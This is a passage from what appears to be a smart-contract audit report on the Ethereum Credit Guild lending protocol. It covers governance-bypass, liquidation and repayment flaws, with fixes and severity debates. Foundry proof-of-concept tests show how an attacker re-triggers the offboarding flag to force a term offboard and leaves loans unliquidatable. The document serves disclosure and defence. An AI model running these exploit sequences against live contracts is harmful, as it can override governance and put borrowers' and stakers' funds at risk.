    // The canOffboard[term] flag is still active since the cleanup() hasn't been called
    assertEq(offboarder.canOffboard(address(term)), true);

    // Next 30 days
    vm.roll(block.number + 199380); // 30 days
    vm.warp(block.timestamp + 199380 * 13);

    // Attacker offboards the term by overriding the DAO vote offboarding mechanism
    // The attacker did not need to hold any guild tokens to exploit this vulnerability
    address Attacker = address(1);
    vm.startPrank(Attacker);
    assertEq(guild.isGauge(address(term)), true);
    offboarder.offboard(address(term));
    assertEq(guild.isGauge(address(term)), false);
}

Implement a proper mechanism for resetting the canOffboard[term] flag once the associated lending term has been re-onboarded.

It is worth noting that the canOffboard[term] flag should be reset after the term re-onboarding operation has successfully been executed by Timelock (when the term is already active) to prevent other security issues.

eswak (Ethereum Credit Guild) confirmed, but disagreed with severity and commented:

Confirming this, but disagree with severity. I think medium is more fit for this, given the unlikely situation of re-onboarding a term that just has been offboarded, and that no user funds are at risk.

TrungOre (judge) decreased severity to Medium

serial-coder (warden) commented:

I disagree with the sponsor’s and judge’s statements.

“the unlikely situation of re-onboarding a term that just has been offboarded”

The attack scenario described in this report does not rely on the situation that “the term must be re-onboarded within only a few days after it has been offboarded”. Specifically, after the term is offboarded, there will be a time gap waiting for all loans to be called and closed in order to explicitly terminate the term via the cleanup() (to reset the canOffboard[term] flag).

This time gap can be a long period (e.g., a couple of weeks/months). Before all loans are closed, the term can be proposed and granted for re-onboarding (the canOffboard[term] flag is still set to true).

Then, the attacker can wait for a long period (e.g., a couple of months) before attacking. The coded PoC proves that the target term can be re-onboarded after being offboarded for 10 days (or even later), and the attacker can launch the attack operation (immediately offboard the target term) after the target term has re-onboarded for 30 days (or even later).

“no user funds are at risk”

The attacker can wait for a long period before attacking (e.g., a couple of months — please thoroughly consider the coded PoC for the proof.). In the meantime, after the target term has been re-onboarded, several GUILD holders can vote for it, and then the term can re-issue new loans.

Once the attacker launches the attack operation, the target term will be forced to immediately offboard, bypassing the DAO vote offboarding. Clearly, the loan borrowers’ funds and the stakers’ funds are at risk.

In other words, the attack will impact both borrowers (whose loans are forced to be called and closed maliciously) and stakers (who vote for the term via the SurplusGuildMinter contract will be slashed with all their CREDIT principal and GUILD rewards).

The vulnerability also impacts the protocol by breaking the governance decision, which is a core feature of the protocol. For this reason, the HIGH severity is proper for this report.

TrungOre (judge) commented:

@serial-coder - I still believe its severity is medium, since the attacker still needs enough votes for re-onboarding before cleanup(). This malicious action is still preventable, by vetoing the onboarding proposal. Therefore, it should be considered as low likelihood with high cost.

Note: For full discussion, see here.


[M-06] Re-triggering the canOffboard[term] flag to bypass the DAO vote of the lending term offboarding mechanism

Submitted by serial-coder, also found by Arz, rbserver, 0xmystery, deth, xeros, 0xpiken, rvierdiiev, DanielArmstrong, Shubham, 0x70C9, and 0xAlix2

The LendingTermOffboarding contract allows guild holders to poll to remove a lending term. If the voting weight is enough, the lending term can be offboarded without delay. Further, the offboarded term can be re-onboarded to become an active term through the LendingTermOnboarding::proposeOnboard() following up with the voting mechanism.

The following briefly describes the steps for offboarding the lending term through the LendingTermOffboarding contract:

  1. Anyone executes the proposeOffboard() to create a poll for offboarding the term. The poll has an age of ~7 days.
  2. Guild holders cast votes for offboarding the term via supportOffboard().
  3. If the poll has not ended and the voting weight is enough, the canOffboard[term] flag will be set.
  4. If the canOffboard[term] flag is set; anyone can execute the offboard() to offboard the term.
  5. All loans of the offboarded term have to be called and closed.
  6. After all loans have been closed, the cleanup() can be invoked to explicitly terminate the term and reset the canOffboard[term] flag.

The following roughly describes the steps for re-onboarding the offboarded lending term through the LendingTermOnboarding contract:

  1. The offboarded term can be proposed for re-onboarding through the proposeOnboard().
  2. Guild holders cast votes for the term.
  3. If the vote is successful, the term re-onboarding operation is queued in the Timelock.
  4. After the Timelock delay, the term can be re-onboarded to become an active lending term again.

Vulnerability Details

This report describes the vulnerability in the LendingTermOffboarding contract, allowing an attacker to force the re-onboarded lending term to offboard by overriding the DAO vote offboarding mechanism. In other words, the attacker is not required to create an offboarding poll and wait for the vote to succeed in offboarding the target term.

The following explains the attack steps:

  1. As per steps 1 - 6 for offboarding the lending term previously described above, the lending term will be offboarded (via the offboard()) and cleaned up (via the cleanup()). The cleanup() will reset the canOffboard[term] flag so that no one can execute the offboard() or cleanup() on the terminated term again.
  2. However, the offboarding poll has an age of ~7 days. As long as the poll has not ended, an attacker can execute the supportOffboard() to cast a vote to re-trigger the canOffboard[term] flag.
  3. Assuming that the target offboarded term has been proposed and successfully granted for re-onboarding (see steps 1 - 4 previously described above for re-onboarding the offboarded lending term).
  4. The attacker can force offboarding the target re-onboarded term, overriding the DAO vote offboarding mechanism by invoking the offboard() since the canOffboard[term] flag has been re-triggered in step 2.

After successfully re-triggering the canOffboard[term] flag in step 2, the attacker can suddenly offboard the target re-onboarded term whenever they will, regardless of how long the target term has been re-onboarded, how long the offboarding poll has expired, or how long the canOffboard[term] flag has been re-triggered (please refer to the Proof of Concept section for the coded PoC).

    function cleanup(address term) external whenNotPaused {
        require(canOffboard[term], "LendingTermOffboarding: quorum not met");
        require(
            LendingTerm(term).issuance() == 0,
            "LendingTermOffboarding: not all loans closed"
        );
        require(
            GuildToken(guildToken).isDeprecatedGauge(term),
            "LendingTermOffboarding: re-onboarded"
        );

        // update protocol config
        core().revokeRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, term);
        core().revokeRole(CoreRoles.GAUGE_PNL_NOTIFIER, term);

        // unpause psm redemptions
        if (
            --nOffboardingsInProgress == 0 && SimplePSM(psm).redemptionsPaused()
        ) {
            SimplePSM(psm).setRedemptionsPaused(false);
        }

@1      canOffboard[term] = false; //@audit -- After all offboarded term's loans have been closed, the cleanup() can be executed to explicitly clean up the term and reset the canOffboard[term] flag
        emit Cleanup(block.timestamp, term);
    }

    function supportOffboard(
        uint256 snapshotBlock,
        address term
    ) external whenNotPaused {
@2      require(
@2          block.number <= snapshotBlock + POLL_DURATION_BLOCKS, //@audit -- The lending term offboarding poll has an age of ~7 days
@2          "LendingTermOffboarding: poll expired"
@2      );
        uint256 _weight = polls[snapshotBlock][term];
        require(_weight != 0, "LendingTermOffboarding: poll not found");
        uint256 userWeight = GuildToken(guildToken).getPastVotes(
            msg.sender,
            snapshotBlock
        );
        require(userWeight != 0, "LendingTermOffboarding: zero weight");
        require(
            userPollVotes[msg.sender][snapshotBlock][term] == 0,
            "LendingTermOffboarding: already voted"
        );

        userPollVotes[msg.sender][snapshotBlock][term] = userWeight;
        polls[snapshotBlock][term] = _weight + userWeight;
@3      if (_weight + userWeight >= quorum) {
@3          canOffboard[term] = true; //@audit -- Attacker can cast a vote to re-trigger the canOffboard[term] flag
@3      }
        emit OffboardSupport(
            block.timestamp,
            term,
            snapshotBlock,
            msg.sender,
            userWeight
        );
    }

    function offboard(address term) external whenNotPaused {
@4      require(canOffboard[term], "LendingTermOffboarding: quorum not met"); //@audit -- Attacker can force offboarding the re-onboarded term, overriding the DAO vote offboarding mechanism

        // update protocol config
        // this will revert if the term has already been offboarded
        // through another mean.
        GuildToken(guildToken).removeGauge(term);

        // pause psm redemptions
        if (
            nOffboardingsInProgress++ == 0 &&
            !SimplePSM(psm).redemptionsPaused()
        ) {
            SimplePSM(psm).setRedemptionsPaused(true);
        }

        emit Offboard(block.timestamp, term);
    }

@1 - After all offboarded term's loans have been closed, the cleanup() can be executed to explicitly clean up the term and reset the canOffboard[term] flag: See here.

@2 - The lending term offboarding poll has an age of ~7 days: See here.

@3 - Attacker can cast a vote to re-trigger the canOffboard[term] flag: See here.

@4 - Attacker can force offboarding the re-onboarded term, overriding the DAO vote offboarding mechanism: See here.

Impact

The active re-onboarded lending term can be forced to immediately offboard, bypassing the DAO vote offboarding, which is the protocol’s core mechanism. Subsequently, the attacked lending term will block all new loans from being issued and prevent guild holders from voting for the term.

Moreover, all loans previously issued by the attacked term can be called putting the loans for bidding silently (since the attacker bypasses the DAO vote offboarding mechanism). If one of the loans fails on bidding to fill up the loan’s principal, the term’s loss will be notified. As a result, all users who stake credit tokens through the SurplusGuildMinter contract to vote for the attacked term will be slashed with all their credit principal and guild rewards.

Proof of Concept

Place the testPoCBreakingDaoVoteOffboarding() in the .test/unit/governance/LendingTermOffboarding.t.sol file and run the test using the forge test --match-test testPoCBreakingDaoVoteOffboarding -vvv command:

function testPoCBreakingDaoVoteOffboarding() public {
    // Prepare for Attacker
    address Attacker = address(1);
    guild.mint(Attacker, 1);
    vm.prank(Attacker);
    guild.delegate(Attacker);

    // Prepare for Bob
    guild.mint(bob, _QUORUM);
    vm.startPrank(bob);
    guild.delegate(bob);

    uint256 POLL_DURATION_BLOCKS = offboarder.POLL_DURATION_BLOCKS();
    uint256 snapshotBlock = block.number;
    uint256 OFFBOARDING_POLL_END_BLOCK = snapshotBlock + POLL_DURATION_BLOCKS;

    // Bob proposes an offboarding of the term
    assertEq(guild.isGauge(address(term)), true);
    offboarder.proposeOffboard(address(term));

    // Next 1 day
    vm.roll(block.number + 6646); // 1 day
    vm.warp(block.timestamp + 6646 * 13);
    assertLe(block.number, OFFBOARDING_POLL_END_BLOCK);

    vm.expectRevert("LendingTermOffboarding: quorum not met");
    offboarder.cleanup(address(term));

    // Bob votes for offboarding the term and executes the offboarding (he has a sufficient voting weight)
    assertEq(guild.isGauge(address(term)), true);
    assertEq(offboarder.canOffboard(address(term)), false);
    offboarder.supportOffboard(snapshotBlock, address(term));
    offboarder.offboard(address(term));
    assertEq(guild.isGauge(address(term)), false);
    assertEq(offboarder.canOffboard(address(term)), true);

    // Cannot clean up because loans are active
    vm.expectRevert("LendingTermOffboarding: not all loans closed");
    offboarder.cleanup(address(term));

    // Next 1 day
    vm.roll(block.number + 6646); // 1 day
    vm.warp(block.timestamp + 6646 * 13);
    assertLe(block.number, OFFBOARDING_POLL_END_BLOCK);

    // Get enough CREDIT to pack back interests
    vm.stopPrank();
    uint256 debt = term.getLoanDebt(aliceLoanId);
    credit.mint(alice, debt - aliceLoanSize);

    // Alice closes loan
    vm.startPrank(alice);
    credit.approve(address(term), debt);
    term.repay(aliceLoanId);
    vm.stopPrank();

    // Clean up the term
    assertEq(psm.redemptionsPaused(), true);
    assertEq(offboarder.nOffboardingsInProgress(), 1);
    offboarder.cleanup(address(term));
    assertEq(psm.redemptionsPaused(), false);
    assertEq(offboarder.nOffboardingsInProgress(), 0);

    assertEq(offboarder.canOffboard(address(term)), false); // The canOffboard[term] flag has been reset
    assertEq(core.hasRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(term)), false);
    assertEq(core.hasRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(term)), false);

    // Attacker votes for offboarding the term to re-trigger the canOffboard[term] flag again
    vm.startPrank(Attacker);
    assertEq(offboarder.canOffboard(address(term)), false);
    offboarder.supportOffboard(snapshotBlock, address(term));
    assertEq(offboarder.canOffboard(address(term)), true); // Attacker has re-triggered the canOffboard[term] flag
    vm.stopPrank();

    // Next 10 days
    // Offboarding poll expired
    vm.roll(block.number + 66460); // 10 days
    vm.warp(block.timestamp + 66460 * 13);
    assertGt(block.number, OFFBOARDING_POLL_END_BLOCK);

    // The term is re-onboarded
    assertEq(guild.isGauge(address(term)), false);
    guild.addGauge(1, address(term));
    assertEq(guild.isGauge(address(term)), true);

    // Next 30 days
    vm.roll(block.number + 199380); // 30 days
    vm.warp(block.timestamp + 199380 * 13);

    assertEq(guild.isGauge(address(term)), true);
    assertEq(psm.redemptionsPaused(), false);
    assertEq(offboarder.nOffboardingsInProgress(), 0);

    // Attacker offboards the term by overriding the DAO vote offboarding mechanism
    vm.startPrank(Attacker);
    offboarder.offboard(address(term));

    assertEq(guild.isGauge(address(term)), false);
    assertEq(psm.redemptionsPaused(), true);
    assertEq(offboarder.nOffboardingsInProgress(), 1);
}

Implement a proper mechanism for preventing the (active) lending term offboarding poll from re-triggering the canOffboard[term] flag, or deprecating the poll from further voting if the associated lending term has been cleaned up (via the cleanup()).

eswak (Ethereum Credit Guild) confirmed, but disagreed with severity and commented:

Thanks for the very high quality report!

Confirming this, but disagree with severity. I think medium is more fit for this, given the unlikely situation of re-onboarding a term that just has been offboarded, and that no user funds are at risk.

TrungOre (judge) decreased severity to Medium and commented:

I agree that this issue should be a med. Duplicating this for the issues that share the same root cause: missing update states for re-onboarded terms.

serial-coder (warden) commented:

I disagree with the sponsor’s statement.

“the unlikely situation of re-onboarding a term that just has been offboarded”

The attack scenario described in this report does not rely on the situation that “the term must be re-onboarded within only a few days after it has been offboarded”. Precisely, as long as the cleanup() is executed before the offboarding poll has ended, the attacker can execute the supportOffboard() to cast a vote to re-trigger the canOffboard[term] flag.

The attacker can then wait for a long period (e.g., a couple of months) before attacking. The coded PoC proves that the target term can be re-onboarded after being off-boarded for 12 days (or even later), and the attacker can launch the attack operation (immediately offboard the target term) after the target term has re-onboarded for 30 days (or even later).

“no user funds are at risk”

After re-triggering the canOffboard[term] flag, the attacker can wait for a long period before attacking (e.g., a couple of months — please thoroughly consider the coded PoC for the proof.). In the meantime, after the target term has been re-onboarded, several GUILD holders can vote for it, and then the term can re-issue new loans.

Once the attacker launches the attack operation, the target term will be forced to immediately offboard, bypassing the DAO vote offboarding.

Clearly, the loan borrowers’ funds and the stakers’ funds are at risk.

In other words, the attack will impact both borrowers (whose loans are forced to be called and closed maliciously) and stakers (who vote for the term via the SurplusGuildMinter contract will be slashed with all their CREDIT principal and GUILD rewards).

The vulnerability also impacts the protocol by breaking the governance decision, which is a core feature of the protocol. For this reason, the HIGH severity is proper for this report.

TrungOre (judge) commented:

I still keep medium severity for this issue, since it doesn’t cause any direct loss. It could end up to locking funds in contracts, but funds can be still recovered by Governor.

Note: For full discussion, see here.


[M-07] There is no way to liquidate a position if it breaches maxDebtPerCollateralToken value creating bad debt.

Submitted by sl1, also found by carrotsmuggler, Aymen0909, glorySec, 0xDemon, Tendency, Beepidibop, and 0x70C9

Liquidations in the system are done via LendingTerm._call(), which will auction the loan’s collateral to repay outstanding debt. A loan can be called only if the term has been offboarded or if a loan missed a periodic partialRepay. To understand the issue, we must understand how the loan is created and how it can be called.

First, when a loan is created through a call to _borrow(), the contract checks if the borrowAmount is lesser than the maxBorrow:

uint256 maxBorrow = (collateralAmount * params.maxDebtPerCollateralToken) / creditMultiplier;
 require(
            borrowAmount <= maxBorrow,
            "LendingTerm: not enough collateral"
        );

It calculates maxBorrow using params.maxDebtPerCollateralToken. For example, if maxDebtPerCollateralToken is 2000e18, then with 15e18 tokens of collateral, a user can borrow up to 30_000 of CREDIT tokens.

It’s also important to understand how liquidations work in the system. If we were to look at _call() function we could notice that it only allows liquidations in two specific cases:

require(
            GuildToken(refs.guildToken).isDeprecatedGauge(address(this)) ||
                partialRepayDelayPassed(loanId),
            "LendingTerm: cannot call"
        );

It will only allow to call a position if a term is depreciated or if the loan missed periodic partial repayment. This approach creates problems and opens up a griefing attack vector.

There are few ways it can go wrong. Let’s firstly discuss an issue that will arise even for a non-malicious user. In order for a user to not get liquidated, he must call partialRepay() before a specific deadline set in term’s parameters. If we look at the _partialRepay() function:

require(
            debtToRepay >= (loanDebt * params.minPartialRepayPercent) / 1e18,
            "LendingTerm: repay below min"
        );

We can see, that it enforces user to repay at least params.minPartialRepayPercent, which may not always be enough for a position to stay “healthy”. By “healthy” I mean a position that does not breach maxDebtPerCollateralToken value, which is a parameter of a LendingTerm.

Imagine a scenario:

  • Interest rate = 15%
  • minPartialRepayPercent = 10%
  • maxDebtPerCollateralToken = 2000

User borrows 30_000 CREDIT with 15 TOKENS of collateral. His debtPerCollateral value is 30_000 / 15 = 2000, which is exactly equal to maxDebtPerCollateralToken. Now a year has passed, the loanDebt (debt + interest) is 34_500, a user is obligated to repay at least 34_500 * 0.1 = 3450. After partial repayment his debtPerCollateral value is (34500 - 3450) / 15 = 2070. While he breached the maxDebtPerCollateralToken value, his position is not callable, because he did not miss a periodic partial repayment.

Also it’s worth noting, that currently even if a user missed a periodic partial repayment, he can still make a call to partialRepay() if his position was not yet called. Because of this, it will be easier for such situation to occur, since the interest will be accruing and when a user finally calls partialRepay() he is still only obligated to repay at least minPartialRepayPercent for a position that went even deeper underwater.

Currently, due to a combination of multiple factors, bad debt can essentially occur and it will be impossible to liquidate such position without offboarding a term.

Now let’s talk about a potential malicious behaviour that is encouraged in the current implementation. Periodic partial repayments are not enforced for every term, they may or may not be enabled, so the only condition for a liquidation in this case is a depreceated term. This means that basically every position is essentially “unliquitable”, because partialRepayDelayPassed() will always return false in such case:

function partialRepayDelayPassed(
        bytes32 loanId
    ) public view returns (bool) {
        // if no periodic partial repays are expected, always return false
        if (params.maxDelayBetweenPartialRepay == 0) return false;

A malicious user can abuse this by not repaying his loan or by not adding collateral to his loan when interest accrues above maxDebtPerCollateralToken. There will be no way to do anything with such positions, the only possible solution would be to offboard a full term. This will obviously damage the protocol, as offboarding a term means calling every position, which subsequently increases a chance of a loss occurring. Also by offboarding a term, lenders will miss out on interest, because every position is force-closed.

The current plan of the protocol was to have partialRepay of at least interestRate every year, so that positions do not grow into insolvent territory.

It’s hard and unreasonable to know every set of parameters that can lead to debtPerCollateral being greater than maxDebtPerCollateralToken even after partialRepay. After a discussion with the sponsor, it was said that ultimately the protocol team will not be the only one to deploy new terms, so it’s better to enforce a proper liquidation flow in the contract.

Proof of Concept

Here is the PoC demonstrating this issue. For the sake of simplicity I did not change the protocol’s test suite configuration, but I just wanted to show that this is possible with any parameters (even the ones expected by the team), because a loan can still be partially repaid even if it missed partial repay deadline. I mentioned this earlier in my report, saying that this is the reason that makes this situation even easier to occur.

function testBreakMaxDebtPerCollateralToken() public {
        // prepare
        uint256 borrowAmount = 30_000e18;
        uint256 collateralAmount = 15e18;
        collateral.mint(address(this), collateralAmount);
        collateral.approve(address(term), collateralAmount);
        credit.approve(address(term), type(uint256).max);

        // borrow
        bytes32 loanId = term.borrow(borrowAmount, collateralAmount);
        vm.warp(block.timestamp + (term.YEAR() * 3));
        // 3 years have passed, and now position's debt is 39_000
        uint256 loanDebt = term.getLoanDebt(loanId);
        assertEq(loanDebt, 39_000e18);
        // A user is able to call partialRepays even if he missed partialRepays deadline
        term.partialRepay(
            loanId,
            (loanDebt * _MIN_PARTIAL_REPAY_PERCENT) / 1e18
        );
        // After repaying just minPartialRepayPercent, a debtPerCollateralToken of the position is 2080, which is greater than maxDebtPerCollateral
        uint256 newLoanDebt = term.getLoanDebt(loanId);
        assertEq((newLoanDebt / 15e18) * 1e18, 2080000000000000000000);
        assertGt((newLoanDebt / 15e18) * 1e18, _CREDIT_PER_COLLATERAL_TOKEN);

        // A position cannot be called
        vm.expectRevert("LendingTerm: cannot call");
        term.call(loanId);
    }

Please add this function to LendingTerm.t.sol and run it with forge test --match-test 'testBreakMaxDebtPerCollateralToken' -vv.

In conclusion I want to say that parameters of a LendingTerm are only limited to a logical sort of degree, i.e:

  • Interest rate can be anything from 0 to 100%.
  • maxDelayBetweenPartialRepay can be anything from 0 to 1 year.
  • minPartialRepayPercent can be anything from 0 to 100%.

Because of this the situation is bound to occur. It’s better to enforce strict rules on the smart contract level.

If periodic partial repays are turned on, the possible solution would be to enforce the maxDebtPerCollateral check in _partialRepay, that will enforce users to repay an amount that would make debtPerCollateralToken value lesser than maxDebtPerCollateralToken value.

Something like this would be sufficient enough:

require(loan.debtPerCollateralToken <= param.maxDebtPerCollateralToken, "Position is not healthy.");

In the case of partial repays being turned on, it’s important to have this check in _partialRepay() rather than in _call(), because otherwise almost every position would immediately go underwater and be liquidatable as soon as it gets opened if a user borrowed up to the maximum amount. It’s fine to have debtPerCollateralToken greater than maxDebtPerCollateralToken until user makes a partialRepay.

In the case of periodic partial repays being turned off, the check must be in _call(), since there will be no partial repays. Check if debtPerCollateralToken value is lesser than maxDebtPerCollateral token, otherwise liquidate a position, but that would mean that users won’t be able to borrow up to maxDebtPerCollateral, since their position will immediately go underwater; it seems to be a matter of trade-offs. This the potential way to modify _call():

require(
            GuildToken(refs.guildToken).isDeprecatedGauge(address(this)) ||
                partialRepayDelayPassed(loanId) ||
                (params.maxDelayBetweenPartialRepay == 0 &&
                    loan.debtPerCollateralToken > params.maxDebtPerCollateral),
            "LendingTerm: cannot call"
        );

eswak (Ethereum Credit Guild) confirmed and commented:

Confirming this, thanks for the high quality of the report!

On one hand, I think it might be considered a governance issue if the chosen term parameters allow loans to grow into unsafe territory, and that the situation is handled properly in the current implementation because GUILD holders can offboard the term if any loan of the term is unsafe. On the other hand, I don’t think it’s a large code change to allow loans to be called if they violate the “max debt check that is in _borrow” during their lifetime. It is an elegant addition to the codebase that we’ll probably do, so I think it’s worth including in the audit report.

sl1 (warden) commented:

@TrungOre - I would like to point out that this issue is about loans violating maxDebtPerCollateral check that is in _borrow() function during their lifetime.

The current implementation of a LendingTerm offers 2 ways a system can work: partial repays may be enabled and may be disabled. In my submission, I clearly state two impacts of this issue to the system, one for the case when partial repays are expected and loans cannot be called despite violating aforementioned check and one for the case when partial repays are not expected and in such case loans also cannot be called, despite violating the check. The root cause of this is the lack of health factor check and not maxDelayBetweenPartialRepay being set to 0.

Other issues grouped under this primary do not correctly identify the root cause, do not describe the same vulnerability and only talk about the specific case when maxDelayBetweenPartialRepay = 0, thus the recommended mitigations for such issues also do not address the problem properly. Given all of this context, I would like to ask you to reevaluate the judging on relevant duplicates under this primary.

TrungOre (judge) commented:

@sl1 - Firstly, I want to refer to the sponsor’s statement and point out that your scenario is also a case of unsafe configs for a lending term.

On one hand, I think it might be considered a governance issue if the chosen term parameters allow loans to grow into unsafe territory, and that the situation is handled properly in the current implementation because GUILD holders can offboard the term if any loan of the term is unsafe.

The configs in your scenario require a large interest rate and repayment duration, resulting in growing interest higher than minPartialRepayPercent. I believe the likelihood of this scenario doesn’t differ from the case when maxDelayBetweenPartialRepay == 0, as both cases represent unsafe and risky configs that need careful on-boarding and off-boarding from governance and users.

From the start, I had doubts about the severity of whether these issues should be considered as medium or QA, since everyone will be aware of the term’s configs before onboarding. However, I acknowledge that these represent potential risks, and the mitigation is both useful and necessary.

Secondly, there are only 2 cases that can cause a loan to breach maxDebtPerCollateralToken: a lending term with interest growing faster than the minimum repayment (your scenario) and a lending term with non-periodic payment loans (maxDelayBetweenPartialRepay == 0). Both of these unsafe cases lack a liquidation mechanism when the loan exceeds maxDebtPerCollateralToken. Therefore, I believe they share the same root cause and should be marked as duplicates.

Note: For full discussion, see here.


[M-08] Repayers using EOA accounts can be affected if bad debt is generated when they are repaying loans

Submitted by 0xStalin

Repayers using EOA accounts will need to spend more PeggedTokens than what they should to get the needed CreditTokens to repay a loan if the market accrues bad debt while the repayer is doing the repayment.

Proof of Concept

When repaying loans, the LendingTerm::_repay() function computes the total loanDebt to be repaid (includes interest). It pulls the CreditTokens from the repayer the computed value of the loanDebt, then distributes interest, burns the principal, updates the issuance and finally transfers back the borrower’s collateral to the borrower.

The problem is that this existing implementation forces the repayer to mint in advance the amount of loanDebt to be repaid. The thing is that EOA accounts can’t do the minting of the required CreditTokens and also repay the loan in the same transaction. EOA accounts will first mint the CreditTokens and then will send a separate tx to repay the loan. If bad debt is generated in the system and the creditMultiplier is decremented (between the time when tx of the repayer to mint the CreditTokens and when the tx to repay the loan is actually executed), the repayer will be impacted by the bad debt, because the amount of minted CreditTokens won’t be enough to cover the new value that will be computed for the loanDebt (since the creditMultiplier shrank, more CreditTokens will be required to cover the same debt). This will cause the tx to repay the loan to revert, since the repayer won’t have enough CreditTokens in its balance.

More importantly, now, the repayer will be forced to mint more CreditTokens; which means the repayer will need to spend more PeggedTokens to mint the extra CreditTokens that are required to cover the new value of the loanDebt. That means the repayer was impacted by the bad debt that was generated in the system. The design of the protocol is such that bad debt is covered by stakers, surplus buffer, and CreditToken holders. However, it is important to make a distinction between a holder who is holding the CreditTokens expecting a return on his investments, and a repayer who was forced to mint CreditTokens before repaying his loan. Repayers are already paying interests and fees, it is not fair to impact them if bad debt is generated in the system while they are repaying their loans.

Let’s run some numbers to demonstrate the impact of this current implementation.

  1. Assume creditMultiplier is 1e18 (has not been updated), UserA borrowed 100 CreditTokens and the current value of the loanDebt to repay the loan is 120 CreditTokens to cover the interests and fees.
  2. UserA goes to the PSM module and deposits 120 PeggedTokens in exchange for 120 CreditTokens.
  3. The user now goes ahead to call the repay() to repay his loan. Before the UserA tx to repay the loan is executed, some loans accrue bad debt in the system and cause the creditMultiplier to shrink to 0.9e18.
  4. Now, when the user tx is finally executed, the new value of the loanDebt will be ~133 CreditTokens. This will cause the tx to revert because UserA only minted the required amount of loanDebt which was 120 CreditTokens.
  5. Now, the user will need to go again to the PSM module to mint the extra CreditTokens and will need to spend more collateral to mint those extra CreditTokens (~14 more PeggedToken).

As a result of the current implementation, UserA was forced to spend more PeggedTokens to repay his debt. If we assume CreditTokens are gUSDC and PeggedTokens are USDC, now, to repay the loan, the UserA was forced to spend ~134 USDC instead of 120USDC that is the real value of the debt to be repaid.

In LendingTerm.sol:

//@audit-issue => A repayer could compute how much CreditTokens are required to repay a loan by calling this function, the computed value will be based on the current value of the creditMultiplier
//@audit-issue => The repayer would then go and mint the amount returned by this function before calling the `repay()` to finally repay his loan

/// @notice outstanding borrowed amount of a loan, including interests
function getLoanDebt(bytes32 loanId) public view returns (uint256) {
    ...

    // compute interest owed
    uint256 borrowAmount = loan.borrowAmount;
    uint256 interest = (borrowAmount *
        params.interestRate *
        (block.timestamp - borrowTime)) /
        YEAR /
        1e18;
    uint256 loanDebt = borrowAmount + interest;
    uint256 _openingFee = params.openingFee;
    if (_openingFee != 0) {
        loanDebt += (borrowAmount * _openingFee) / 1e18;
    }
    uint256 creditMultiplier = ProfitManager(refs.profitManager)
        .creditMultiplier();
    
    //@audit-info => The loanDebt is normalized using the current value of the `creditMultiplier`. loanDebt includes interests and fees accrued by the original borrowAmount
    loanDebt = (loanDebt * loan.borrowCreditMultiplier) / creditMultiplier;

    return loanDebt;
}


//@audit-issue => The problem when repaying the loan is if bad debt was generated in the system, now, the value of the `creditMultiplier` will be slightly lower than when the user queried the total amount of CreditTokens to be repaid by calling the `getLoanDebt()`

function _repay(address repayer, bytes32 loanId) internal {
    ...
    ...
    ...

    // compute interest owed
    //@audit-issue => Now, when repaying the loan, the creditMultiplier will be different, thus, the computed value of the loanDebt will be greater than before, thus, more CreditTokens will be required to repay the same loan
    uint256 loanDebt = getLoanDebt(loanId);
    uint256 borrowAmount = loan.borrowAmount;
    uint256 creditMultiplier = ProfitManager(refs.profitManager)
        .creditMultiplier();
    uint256 principal = (borrowAmount * loan.borrowCreditMultiplier) /
        creditMultiplier;
    uint256 interest = loanDebt - principal;

    //@audit-issue => The amount of `loanDebt` CreditTokens are pulled from the repayer, this means, the repayer must have already minted the CreditTokens and it also granted enough allowance to the LendingTerm contract to spend on his behalf!
    /// pull debt from the borrower and replenish the buffer of available debt that can be minted.
    CreditToken(refs.creditToken).transferFrom(
        repayer,
        address(this),
        loanDebt
    );

    ...
    ...
    ...
}

The most straightforward solution to mitigate this problem is to allow the repayers to mint the exact required amount of CreditTokens to repay their loans within the same tx when the loan is actually being repaid. It can be added as an option for any repayer who wants to go that route and protect themselves against bad debt generated in the system while they are repaying their loans.

Those who don’t want to mint the exact amount of CreditTokens that are required to repay the loan can follow the current implementation where the CreditTokens will be pulled from their balance. If enabled, the LendingTerm based on the computed loanDebt will pull the exact amount of PeggedTokens that are required to mint the exact amount of CreditTokens to repay the loan, and by using the PSM module, the LendingTerm will mint the exact required amount of CreditTokens and will transfer the PeggedTokens that were pulled from the repayer.

LendingTerm.sol

+ function _repay(address repayer, bytes32 loanId, bool mintCreditTokens) internal {
    ...

    // compute interest owed
    uint256 loanDebt = getLoanDebt(loanId);
    ...    

-   /// pull debt from the borrower and replenish the buffer of available debt that can be minted.
-   CreditToken(refs.creditToken).transferFrom(
-       repayer,
-       address(this),
-       loanDebt
-   );

+   if(mintCreditTokens) {
+     //@audit-info => Computes the exact amount of peggedTokens that are required to repay the debt
+     uint256 peggedTokensToRepay = SimplePSM(refs.psmModule).getRedeemAmountOut(loanDebt);
+     address pegToken = SimplePSM(refs.psmModule).pegToken();

+     //@audit-info => Pull the peggedTokens to repay the debt from the repayer into the LendingTerm
+     ERC20(pegToken).safeTransferFrom(repayer, address(this), peggedTokensToRepay);

+     //@audit-info => Mint the exact CreditTokens to repay the debt
+     //@audit-info => The PSM module will pull the PeggedTokens from the LendingTerm and will mint the CreditTokens to the LendingTerm contract
+     uint256 repaidCreditTokens = SimplePSM(refs.psmModule).mint(peggedTokensToRepay);

+     assert(repaidCreditTokens == loanDebt)
+   } else {
+      /// Pull debt from the borrower and replenish the buffer of available debt that can be minted.
+      CreditToken(refs.creditToken).transferFrom(
+          repayer,
+          address(this),
+          loanDebt
+      );
+   }

    if (interest != 0) {
        // forward profit portion to the ProfitManager
        CreditToken(refs.creditToken).transfer(
            refs.profitManager,
            interest
        );

        // report profit
        ProfitManager(refs.profitManager).notifyPnL(
            address(this),
            int256(interest)
        );
    }

    // burn loan principal
    CreditToken(refs.creditToken).burn(principal);
    RateLimitedMinter(refs.creditMinter).replenishBuffer(principal);

    // close the loan
    loan.closeTime = block.timestamp;
    issuance -= borrowAmount;

    // return the collateral to the borrower
    IERC20(params.collateralToken).safeTransfer(
        loan.borrower,
        loan.collateralAmount
    );

    // emit event
    emit LoanClose(block.timestamp, loanId, LoanCloseType.Repay, loanDebt);
}

Assessed type

Context

eswak (Ethereum Credit Guild) confirmed and commented:

This is interesting. I’m not sure whether to describe this as a vulnerability, since it is already in our plan to have a “smart account” or “router” tool for borrowers to atomically unwind their position/repay the exact correct amount according to the credit multiplier, that allows to multicall on term.borrow+psm.redeem and psm.mint+term.repay for instance. I can see how this feature could be made part of the base lending term, rather than something on top. Seems like a thoughtful consideration so I don’t mind confirming.

btk (warden) commented:

